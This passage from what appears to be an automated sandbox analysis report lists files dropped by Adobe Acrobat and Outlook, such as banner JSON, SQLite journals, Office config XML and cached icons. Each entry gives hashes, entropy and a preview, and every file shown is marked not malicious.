SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfFldPeUkwRe9:YvXKXDDCKdWRuUhU2aVGz8Ukee9
MD5:	B20D2B31A63C1BCA24BD293BB6BEF092
SHA1:	BF3B3A88AC5E91EF034BAE761606BCE6433E8842
SHA-256:	CE656331134D790B0993BCB596A723D175769C93D760F3C7A32D8B080DB90178
SHA-512:	71BC8691323FCC98E0732F62DC7A947AB16FA538AC43849FD50FFD87CABF585255935225F1C388BA796042372B2ABE4CE42272D94D385DDC6CB6B3729F92253D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	5.7459152389558525
Encrypted:	false
SSDEEP:	24:Yv6XDDCKsU2yKLgENRcbrZbq00iCCBrwJo++ns8ct4mFJN5:YvyTsUBEgigrNt0wSJn+ns8cvFJz
MD5:	45FB22B5464FBCF784B55299C1B7E132
SHA1:	4601A0DE7DF82C5F215BC31E34BFD2A846E728D9
SHA-256:	81C9924E9EE66F10163D7D94B5AAEA301C568A67BFBC71988BEE8A01BD60EA7E
SHA-512:	AAB12709774ADC06D9EB5BF172B3D68A21E81F8132D802E5BD646B7F99DD507DC1450C7C9774F561923CF29D055E5AA679217CE5EE2332084979C2EAC61C88AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"79887_247329ActionBlock_0","campaignId":79887,"containerId":"1","controlGroupId":"","treatmentId":"acc56846-d570-4500-a26e-7f8cf2b4acad","variationId":"247329"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJUcnkgQWNyb2JhdCBQcm8ifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNSIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTMiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIDctZGF5IHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0byBwcmVtaXVtIFBERiBhbmQgZS1zaWduaW5nIHRvb2xzLiIsImJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.31412505748819
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfYdPeUkwRe9:YvXKXDDCKdWRuUhU2aVGg8Ukee9
MD5:	66389719B97F9012AAEFB8BBB33F365C
SHA1:	987C0FB260693A9ED70C541C0491C1D346A4A8AA
SHA-256:	37B760B027A84DE9F4CFC9F3E05D547481E06EA727483E5E0CB8E79226F7D151
SHA-512:	2841FB547D00C82180ADA35147D8944079996D7CFB91D0D7D15ECBAC8476D0D38F08D61C9CCAECAA3AA1909F7F392A76FE86AB871DC7A3CA7041A004604E2981
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.781585091291509
Encrypted:	false
SSDEEP:	24:Yv6XDDCKsU2xrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNR:YvyTsUMHgDv3W2aYQfgB5OUupHrQ9FJX
MD5:	CF0B6A758BC8E1C4885A00DC1162CF99
SHA1:	0909C9512100847D2A25C25DEE582CBC145B5778
SHA-256:	57BF46B357095EB26B861080122C5A0A4B2B6C1638B68780BA5C5A6FBE5ACA13
SHA-512:	0819C9E1A4492BFB0C7AB9F54D2B1FDFABA4ACA3A9CBE31DB4751AD22167FA6105C16DD8837BCC4AC3E03DAE94EA803CAE54870DAD0E157FD5E7D2D9B5DE9E2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.297575075729145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfbPtdPeUkwRe9:YvXKXDDCKdWRuUhU2aVGDV8Ukee9
MD5:	1E5E7819A3BA65064FE4054857CE1B88
SHA1:	7F322265824BD705629A0BDBB2F73C8C410D0101
SHA-256:	5BF616D63C30DEC155F3DF87E0770C9A3D788255C9678F1A9BD4C0FDADEDABE8
SHA-512:	6C15321140B355BE9750591385F75BC866AA5F8F6C8AA9C0222B825EF9EE9ED752CDDE949FCE3237A33627721C9D05ED5D7F924C293E88FE9D882749D06D5C22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.301151907931993
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJf21rPeUkwRe9:YvXKXDDCKdWRuUhU2aVG+16Ukee9
MD5:	013E2AAF08E57BAA3BA754CB02CB9E55
SHA1:	DA3D9F3A5706494ED19BD39BCD8B29345B128D94
SHA-256:	29D12287A7E666CC3FE1644DB0237F588C30D4F74CFC6246C8BB88D6CCB58633
SHA-512:	759282E76C5F903AB9939C3F2F7CD357AF3DAA66E032ACEA04C37CF668F8839BC9A805A5DDAC629387A8632CCD118DAE01A238CD653A2DCC9514572C5045782C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320666368172116
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfbpatdPeUkwRe9:YvXKXDDCKdWRuUhU2aVGVat8Ukee9
MD5:	FF3195F3A82A1ECB88AE3A3E7AAFDE72
SHA1:	746A5E514C67E6E620F725847DF3CA690F327686
SHA-256:	E3D623C9AB0F7B231636B203DC6689F84A4E1976679B5A89D01E1D8D4F9EC146
SHA-512:	894D73FBFEE46C95A70666B29533D5EE10D974C1F0F44D1626038430351CF30F16679DF4F3C46C04447B865BD4924D6B0A7FCEA5478E9F2E26F3F37A21A4DF7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.277557358771348
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfshHHrPeUkwRe9:YvXKXDDCKdWRuUhU2aVGUUUkee9
MD5:	B62421E7641CD6873DA1C3C253B76338
SHA1:	CF6D226F23702A01E50140E4EA2B28A36F9060C0
SHA-256:	1EDB268C1DDA5DE870C832351BBEA63D0C1C0C3B0CCB26324025365DC3B670A7
SHA-512:	3E34F83ADBDB1CE02CBDE7EAE049F1AD57B56CCE9A2263DF20EA2E26EB63CD01A989D503DC546A14D4B81E7EABE243C414A1A5744E7874883D979702286FFF42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.375715208181267
Encrypted:	false
SSDEEP:	12:YvXKXDDCKdWRuUhU2aVGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWN:Yv6XDDCKsU2A168CgEXX5kcIfANhs
MD5:	89FDBB5E109C6DC83C22032B2008D9AA
SHA1:	78DBD78FA7F2995DDF6EBFCC4686FAFA7ADCD543
SHA-256:	6ACD29E35B415C565A7C735CCF48D445CB0C977F4FC7640A8BB1D12353A427B6
SHA-512:	8E5D7D961ED46541F9606D2F3DF75B8D91F9A1B7489180919E0596985644CE8DD9AA5FDA2149FEBD5FF8D53B8A6DEE8F828CAF958797AFCD98C3C2D8CCD18E81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1713474334249}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.127101941014357
Encrypted:	false
SSDEEP:	24:Ykvp5f20CrHNxBZ66fjaNaywBRQJmlCnVjkmj0STNFC32dx2LS9uVI5kvo9tbfuE:YWdwHNx766rKJ3Zk4DsmbEIEo9tH
MD5:	D5527BC67040FE16E81E034ABE7D8719
SHA1:	F20B9F807EFF8E61CCC18613969D6549CE8A7A60
SHA-256:	7EC89FB85B82184AB3EA44FA08A246FFB20D6D12541F7680F67AAB4D99331645
SHA-512:	5BA5EBB122E3895D29E6828A32F4051F765A77A5936907399327A90CEC06C112741AAC328767398E1B5C51576390D8683AC0698089CA0F5ED104B18F6295142E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c7ab11c89f58b447c66741fd5a442adc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1713474333000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cc73790bbd864cd266c6ef5474fa0578","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1372,"ts":1713474333000},{"id":"Edit_InApp_Aug2020","info":{"dg":"f7431194717966fdb4d1ef16ab856b40","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1713474333000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"51d708acc073ad3abc5d1bc64e3c67b5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1713474333000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"843dad2844c08448be16cdbff95d348d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1713474333000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"39ebe5142ec2410922643c684ea717cd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":289,"ts":171347

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9887336262740357
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs67Y9QmQ6Qe15BCp9IcLESiAieN5BCp9F:TVl2GL7ms67YXtrfBpcI8jBa
MD5:	619EE97930295A9C741CB7FA83B331F7
SHA1:	FAE18B646C2A1477862A0CEADA2EAFDBF2CAFF2A
SHA-256:	BB5037BF962B8BD30DC70B1632688E2932A05D0E18F7439FD30977811C44A7FC
SHA-512:	97A639175AA1B464B20829821735F72795A2787FF9938DE3152B464D8F3365CEEE2C9D142F3CA0C76A77BD2691B3BFF939F7279589B2404ABAB40991717632AE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3435054484756999
Encrypted:	false
SSDEEP:	24:7+tYASY9QmQ6Qe15BCp97cLESiAi0mY9QenqLBx/XYKQvGJF7ursen:7MYlYXtrfBecI8KYnqll2GL7mse
MD5:	1430BD426CF92D5D92ACB0AC426F5151
SHA1:	CDB1F5AA770E1EC946BFAF52BA9D9C84C9D93EFF
SHA-256:	E12B7D840C02AC5660B06A6A5DAADF715AE89FEC9D33C04B387C8D65F6ACBB94
SHA-512:	6159151C1A2E3475AE1C1284D4D19C2D8F18B7DFDE2BD4A341A1245AA5EF8CCBEF23390BB1E33E3A718B28875F91B0873668CA778DE9E90110CDDA4F0084F93C
Malicious:	false
Preview:	.... .c.......B.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.387892551144023
Encrypted:	false
SSDEEP:	3072:h/gZRCgymiGu2yPqoQhrt0FvNaZuwJHB9:h08mi2DbZuwJHz
MD5:	FD687757699E745E84664C464949C9D2
SHA1:	5A868B762F26CC5A532D97C67C909C710FE4A722
SHA-256:	833B29D6A286CE86ED05486EF66023744B0CC0C7A32BAE9DE2E1D1BAA8732731
SHA-512:	85DFB6E20474FDAD37687032022F954ACB192B9516E4FB5042873A5034459D7A098654B7214491711FCCDE1C631231916B41707FAB9938F5165280977E8040DB
Malicious:	false
Preview:	TH02...... .0p9........SM01X...,...P.-............IPM.Activity...........h...............h............H..h........uw.&...h........H.S.H..h\cal ...pDat...h..R.0...p......henbO...........h........_`.j...h.qbO@...I.lw...h....H...8..j...0....T...............d.........2h...............k5.0.....5.1...!h.............. h.T`:..........#h....8.........$hH.S.....8....."h@.............'h..)...........1henbO<.........0h....4....j../h....h......jH..h.w..p.........-h .............+h.obO........................ ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.085796449428258
Encrypted:	false
SSDEEP:	48:cGwdyUdyjdSyrudnzyZSyrenzyMJdyBkSyrdnzyr1nzyvASy/dyO:oEUEjdbqd2Zb622Embx2R2vAb/EO
MD5:	3932D366AFECCDCDB8DC811DB3FE3303
SHA1:	4B5EC5F367389A84464FA7C665404909ABCB3F87
SHA-256:	06094C68E2B83C6B4627F47D53714DF4260FF5543A400B7D71DE88B0632E40CD
SHA-512:	4381CD6B41799F876269EC743947F2D8CE9D610F9FB1EC7C021ED65087A74EAE74AEDF4C69CEE110670150D46627E66033902B2B3ED71837A9E7F6CDF0F20B62
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos_26215680</Id><LAT>2024-04-18T21:04:58Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2023-10-06T09:25:29Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_26215424</Id><LAT>2023-10-06T09:25:29Z</LAT><key>31558910439.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215680</Id><LAT>2023-10-06T09:25:29Z</LAT><key>23001069669.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-06T09:25:29Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_45876480</Id><LAT>2023-10-06T09:25:29Z</LAT><key>30264859306.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\081EE880-BC54-414B-B9D8-B87BC03C5EC8

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	166203
Entropy (8bit):	5.3409200446530605
Encrypted:	false
SSDEEP:	1536:m+C7FPgOsB3U9guwwJQ9DQA+zqzhQik4F77nXmvYd8XRTEwreOR6g:TIQ9DQA+zqzMXeMJ
MD5:	2F8CB301D89EEC995BD020C8028E3345
SHA1:	84EF865388738D5B938E3226A9E2A3CB0B831770
SHA-256:	535E42849FDD67FAE3CEF8350088278D58129625D34D5F3ABB4979301B05F75C
SHA-512:	AF4818DDAB926D8E9F20DB2AED1192014FDBADB67BE3906A188E1FEA896CCB002715976A1267917BF72CA99AB1CDF8B51B180EF96AE7C20EBDA82D29038BB79F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2024-04-18T21:04:58">.. Build: 16.0.17607.40127-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://word-edit.officeapps.live.com/we/rrdiscovery.ashx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[MAX.ResourceId]" o:authorityUrl="[ADALAuth

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04497712130921007
Encrypted:	false
SSDEEP:	3:GtlxtjlHr1Vu1S4JBhW1lxtjlHr1Vu1S4JBh1jR9//8l1lvlll1lllwlvlllglbG:GtGSrGSo9X01PH4l942wU
MD5:	81EEB7E491319910273E4E82A8B71AC4
SHA1:	6E598D5F2A67726EFC62F011CFC86D5EE6C076E6
SHA-256:	2B80F890E5CB16330FB004316A2A8AB67697B009C800D96ADFCB534C32F30E13
SHA-512:	E3ECCF9148A9BEB0B00BE86E7FDD5325A9C9F5484A0D28B6B6E18CE510703138F718B647770428B129844F78B7494DBFD17AE06DFD30CC59E6C18F93F6286093
Malicious:	false
Preview:	..-......................>...e..0....$..Dq^,)..D..-......................>...e..0....$..Dq^,)..D........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	49472
Entropy (8bit):	0.4846018754259296
Encrypted:	false
SSDEEP:	48:pkQ1kAUll7DYMhzO8VFDYMNudBO8VFDYML:12ll4CjVG8uXjVGC
MD5:	FB240C82065B19717E1AE670A7EB199F
SHA1:	4DDE8289757614F569309FF8FE89CDD9CE78D459
SHA-256:	36A0ED2580616E21A179979F86F03A1ECB7D0E1BD2B1B03F5B1C6675CF2A96EC
SHA-512:	C7FA63F3FE50D2B2B527E7AC37F696277EB37177A76DC30F0C5A7FF911266FC420FF05F3744A4E59088C6455C5A638B5EAAECE4590AD974CB07509245BC1FD3D
Malicious:	false
Preview:	7....-..........0....$..q..C.z..........0....$..).. r.ySQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3338559C.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 24 x 25, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	505
Entropy (8bit):	6.491792548547274
Encrypted:	false
SSDEEP:	12:6v/7c/PXsanRsxzUL8mGtRLSmm0+BL+YhmllkZJFfIjkCM/QQl7:r/PXsanRsxturHSaZJFwjkCM/D
MD5:	11503FD53DBBE5035FB3F2BADB749D8D
SHA1:	F4D51A00EF150EB2AE9620B986BEA04119F919C0
SHA-256:	420C00A9FAB257C2F65DA429EE4589D93FAE2EBD36ED228C269306E9678ECFAE
SHA-512:	2073909E6212C82CE17CAC66E321BDA4F081ACD2F79C948BD873BF4A60BF5A2ACD14E0EF0530315A3781659E603650EBBE9B02667136A15D2F2581DC328C8D46
Malicious:	false
Preview:	.PNG........IHDR................o....tEXtSoftware.Microsoft Office..5q....PLTE.........................88.00.*.!!.BB.CC.EE.QQ.\\.YY.ww.uu.ss.nn.aa.tt.qq.......................................................................................................................^.....tRNS.@..f....pHYs...@...@.bCc[....cmPPJCmp0712....H.s.....IDAT(Sc`...q.........V............[d`....B....K..%....:0.&../......`.J0......0.V......i..`.H..Y@..p.-.\|+........U.K.[#..p.%.....%..UT%.$...A.-..4..*.&..0.i....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\79672847.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 24 x 25, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	371
Entropy (8bit):	6.675679464080789
Encrypted:	false
SSDEEP:	6:6v/lhPECjQDTYGSubIoqqa06+qhKzll21VV1F0VeavEDxH9B95Nxjp:6v/7c/PYbwj806thmllkvivEV9r5LN
MD5:	4A3B75F07D4A3D75B349556DCB5063C2
SHA1:	06DBD74FAB74257C717628B4207BC4C00D3011E5
SHA-256:	FFE0613FA1583DC7032E081413BE45924516D9A4AF4501469415A17F567FD8ED
SHA-512:	74AEE343795EC1EDAFF9C768A07E376D3407CD56CD4119ED4C78DBAAE9ECC6C7810A960040563D5BA150417E9856EA4DFEC4A806BAE2A991806F49B26FCE2039
Malicious:	false
Preview:	.PNG........IHDR................o....tEXtSoftware.Microsoft Office..5q...`PLTE...Bg.Rt.Gk.Or.Np.d..q..m..r..\|..v....................................................Q t.....tRNS.@..f....pHYs...@...@.bCc[....cmPPJCmp0712....H.s....oIDAT(Sc`...q...%.xx.......,*)...... a,.,R@Qi...t..@qqV.;Q...J.A.!!L....E .....,.....T.n11q.1rbb"X.K....A...:..L.Z./.c....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\937A0DDE.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
